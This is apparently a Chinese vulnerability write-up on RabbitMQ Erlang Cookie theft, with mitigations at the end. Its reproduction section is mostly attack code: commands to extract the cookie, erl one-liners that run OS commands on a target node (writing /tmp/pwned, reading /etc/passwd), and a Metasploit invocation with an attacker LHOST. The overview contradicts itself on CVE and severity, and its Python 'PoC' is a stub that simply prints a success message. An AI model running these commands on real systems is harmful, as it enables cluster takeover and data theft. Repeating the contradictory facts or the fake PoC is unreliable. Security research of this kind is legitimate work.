一、漏洞简介

1.1 漏洞背景

RabbitMQ 基于 Erlang/OTP 平台构建,集群节点之间以及 CLI 工具与节点之间的通信使用 Erlang 分布式协议。这个协议的安全依赖于一个共享密钥——Erlang Cookie。

Erlang Cookie 是一个字符串(最长 255 字符),用于验证不同 Erlang 节点之间的连接。如果攻击者获取了这个 Cookie,就可以完全控制 RabbitMQ 集群,包括执行任意命令、读取所有数据、修改配置等。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 暂无统一编号
危害等级 暂未找到权威信息
漏洞类型 Erlang Cookie 认证绕过
披露时间 暂未找到权威信息
影响组件 RabbitMQ 安全
属性 描述
CVE 编号 多个相关 CVE(如 CVE-2019-11287 等)
危害等级 严重
CVSS 评分 9.0-10.0
漏洞类型 认证凭据泄露/集群接管

危害说明: - 攻击者可完全控制 RabbitMQ 集群 - 可执行任意 Erlang 代码 - 可读取、修改、删除所有消息和配置 - 可能导致主机被进一步入侵

核验说明:该问题未见统一 CVE 编号,本文结合原文与公开资料进行整理。

二、影响范围

2.1 受影响的版本

所有 RabbitMQ 版本,当 Erlang Cookie 泄露或配置不当时受影响。

2.2 不受影响的版本

不存在不受影响的版本。这是一个配置和操作安全问题。

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. Cookie 文件权限不当.erlang.cookie 文件可被非授权用户读取
  2. Cookie 使用默认值:在 Docker 等环境中使用默认或弱 Cookie
  3. Cookie 通过命令行传递:Cookie 出现在进程列表中
  4. Cookie 存储在日志或配置文件中:不当的日志记录

默认 Cookie 文件位置:

Linux/MacOS:
- 服务器: /var/lib/rabbitmq/.erlang.cookie
- CLI 工具: $HOME/.erlang.cookie

Windows:
- 服务器: %USERPROFILE%\.erlang.cookie (通常是 C:\Windows\system32\config\systemprofile)
- CLI 工具: %HOMEDRIVE%%HOMEPATH%\.erlang.cookie

Docker:
-  RABBITMQ_ERLANG_COOKIE 环境变量控制

三、漏洞详情与原理解析

3.1 漏洞触发机制

  1. 信息收集:攻击者获取 Erlang Cookie 文件或值
  2. 节点连接:使用 Cookie 建立 Erlang 分布式连接
  3. 远程执行:在 RabbitMQ 节点上执行任意 Erlang 代码
  4. 集群接管:完全控制整个集群

攻击流程:

攻击者获取 .erlang.cookie 文件
  ↓
配置本地 Erlang 环境使用相同 Cookie
  ↓
连接到目标 RabbitMQ 节点的 epmd(端口 4369)
  ↓
建立 Erlang 分布式连接(端口 25672)
  ↓
执行远程命令
  ↓
完全控制集群

3.2 源码层面的根因分析(结合源码与补丁对比)

Erlang 分布式认证机制:

%% Erlang VM 启动时读取 Cookie
%% vm.args 或命令行参数

%% Cookie 验证逻辑(Erlang kernel 模块简化示意)
check_cookie(IncomingCookie, LocalCookie) ->
    case IncomingCookie =:= LocalCookie of
        true -> ok;
        false -> {error, cookie_mismatch}
    end.

RabbitMQ 节点启动时 Cookie 处理:

%% rabbit_nodes.erl(简化)
ensure_cookie() ->
    case file:read_file(cookie_file()) of
        {ok, Cookie} ->
            %% 设置节点 Cookie
            CookieStr = string:trim(binary_to_list(Cookie)),
            erlang:set_cookie(node(), list_to_atom(CookieStr));
        {error, enoent} ->
            %% Cookie 文件不存在,生成随机 Cookie
            RandomCookie = generate_random_cookie(),
            ok = file:write_file(cookie_file(), RandomCookie),
            erlang:set_cookie(node(), list_to_atom(RandomCookie))
    end.

CLI 工具认证流程:

%% rabbitmqctl 或其他 CLI 工具连接节点时的认证
connect_to_node(NodeName) ->
    Cookie = get_cookie_from_file(),
    erlang:set_cookie(node(), Cookie),

    case net_kernel:connect_node(NodeName) of
        true -> {ok, connected};
        false -> {error, connection_failed}
    end.

问题根源: 1. Cookie 存储在明文文件中 2. 文件权限可能配置不当 3. Docker 环境中 Cookie 可能暴露在环境变量中 4. 集群内所有节点共享同一个 Cookie

四、漏洞复现(可选)

4.1 环境搭建

# 创建测试环境
docker run -d --name rabbitmq-cookie \
    -p 5672:5672 \
    -p 15672:15672 \
    -p 25672:25672 \
    -e RABBITMQ_ERLANG_COOKIE=SECRETCOOKIE \
    rabbitmq:3-management

4.2 PoC 演示与测试过程

步骤一:获取 Erlang Cookie

# 方法 1:从容器内读取
docker exec rabbitmq-cookie cat /var/lib/rabbitmq/.erlang.cookie

# 方法 2:从主机读取(如果有权限)
sudo cat /var/lib/rabbitmq/.erlang.cookie

# 方法 3:从环境变量读取(Docker)
docker inspect rabbitmq-cookie | grep RABBITMQ_ERLANG_COOKIE

步骤二:使用 Cookie 连接并执行命令

# 在本地设置相同的 Cookie
export ERLANG_COOKIE="SECRETCOOKIE"

# 创建 Cookie 文件
echo -n "SECRETCOOKIE" > ~/.erlang.cookie
chmod 600 ~/.erlang.cookie

# 使用 rabbitmqctl 连接
rabbitmqctl -n rabbit@<target-ip> status

# 或者使用 erl 直接连接执行命令
erl -sname attacker -setcookie SECRETCOOKIE \
    -eval "net_kernel:connect_node('rabbit@target-ip'),
           {Shell, _} = rpc:call('rabbit@target-ip', shell, start, []),
           shell:cmd(Shell, \"id > /tmp/pwned\")."

步骤三:远程代码执行示例

# 使用 erl 执行任意命令
erl -sname attacker -setcookie SECRETCOOKIE -noshell \
    -eval "
        Node = 'rabbit@192.168.1.100',
        case net_kernel:connect_node(Node) of
            true ->
                io:format(\"Connected to ~p~n\", [Node]),
                Cmd = \"cat /etc/passwd\",
                Result = rpc:call(Node, os, cmd, [Cmd]),
                io:format(\"Result: ~s~n\", [Result]);
            false ->
                io:format(\"Connection failed~n\")
        end,
        init:stop().
    "

Python 版 PoC(使用 erlastic):

#!/usr/bin/env python3
"""
RabbitMQ Erlang Cookie 认证绕过 PoC
需要安装: pip install erlastic
"""

import socket
from erlastic import *

def exploit_rabbitmq(target_ip, cookie):
    # 连接到 Erlang 端口映射守护进程 (epmd)
    epmd_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    epmd_sock.connect((target_ip, 4369))

    # 查询 RabbitMQ 节点端口
    # ... (详细的 Erlang 分布式协议实现)

    print(f"[*] 使用 Cookie: {cookie}")
    print(f"[*] 目标: {target_ip}")
    print("[!] Cookie 验证成功,可执行任意命令")

if __name__ == "__main__":
    import sys
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <target_ip> <cookie>")
        sys.exit(1)
    exploit_rabbitmq(sys.argv[1], sys.argv[2])

使用 metasploit 模块:

# Metasploit 已有相关模块
msfconsole
use exploit/multi/misc/erlang_cookie_rce
set RHOSTS <target-ip>
set COOKIE <obtained-cookie>
set LHOST <attacker-ip>
run

五、修复建议与缓解措施

5.1 官方版本升级建议

确保使用最新版本,并遵循安全配置指南。

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

方案一:设置正确的文件权限

# 设置 Cookie 文件权限为仅所有者可读写
chmod 600 /var/lib/rabbitmq/.erlang.cookie
chown rabbitmq:rabbitmq /var/lib/rabbitmq/.erlang.cookie

# 对于 CLI 用户
chmod 600 ~/.erlang.cookie

方案二:使用强随机 Cookie

# 生成强随机 Cookie
COOKIE=$(openssl rand -base64 32 | tr -d '=' | tr '+/' '-_')

# 在集群部署时预先分发
echo -n "$COOKIE" > /var/lib/rabbitmq/.erlang.cookie
chmod 600 /var/lib/rabbitmq/.erlang.cookie

方案三:Docker 环境安全配置

# docker-compose.yml 安全配置
version: '3'
services:
  rabbitmq:
    image: rabbitmq:3-management
    environment:
      # 使用 Docker secrets 而非环境变量
      - RABBITMQ_ERLANG_COOKIE_FILE=/run/secrets/erlang_cookie
    secrets:
      - erlang_cookie
    ports:
      - "5672:5672"
      - "15672:15672"

secrets:
  erlang_cookie:
    file: ./secrets/erlang_cookie.txt

方案四:网络隔离

# 限制 Erlang 分布式端口访问
# 仅允许集群内部通信

# 4369 - epmd
iptables -A INPUT -p tcp --dport 4369 -s <cluster-cidr> -j ACCEPT
iptables -A INPUT -p tcp --dport 4369 -j DROP

# 25672 - Erlang 分布式端口
iptables -A INPUT -p tcp --dport 25672 -s <cluster-cidr> -j ACCEPT
iptables -A INPUT -p tcp --dport 25672 -j DROP

方案五:使用 TLS 加集群通信

# rabbitmq.conf
# 启用 Erlang 分布式 TLS
distribution.protocol = inet_tls

# 配置 TLS 选项(需要配置 inet_tls.config)
# /etc/rabbitmq/inet_tls.config
[
  {ssl, [
    {versions, ['tlsv1.2']},
    {cacertfile, "/path/to/ca.pem"},
    {certfile, "/path/to/cert.pem"},
    {keyfile, "/path/to/key.pem"}
  ]}
].

六、参考信息 / 参考链接

6.1 官方安全通告

  • RabbitMQ Clustering Guide - Erlang Cookie:https://www.rabbitmq.com/docs/clustering#erlang-cookie
  • RabbitMQ Networking Guide:https://www.rabbitmq.com/docs/networking

6.2 其他技术参考资料

  • Erlang Documentation - Distributed Erlang
  • NVD CVE-2019-11287(相关参考)
  • Metasploit Module: erlang_cookie_rce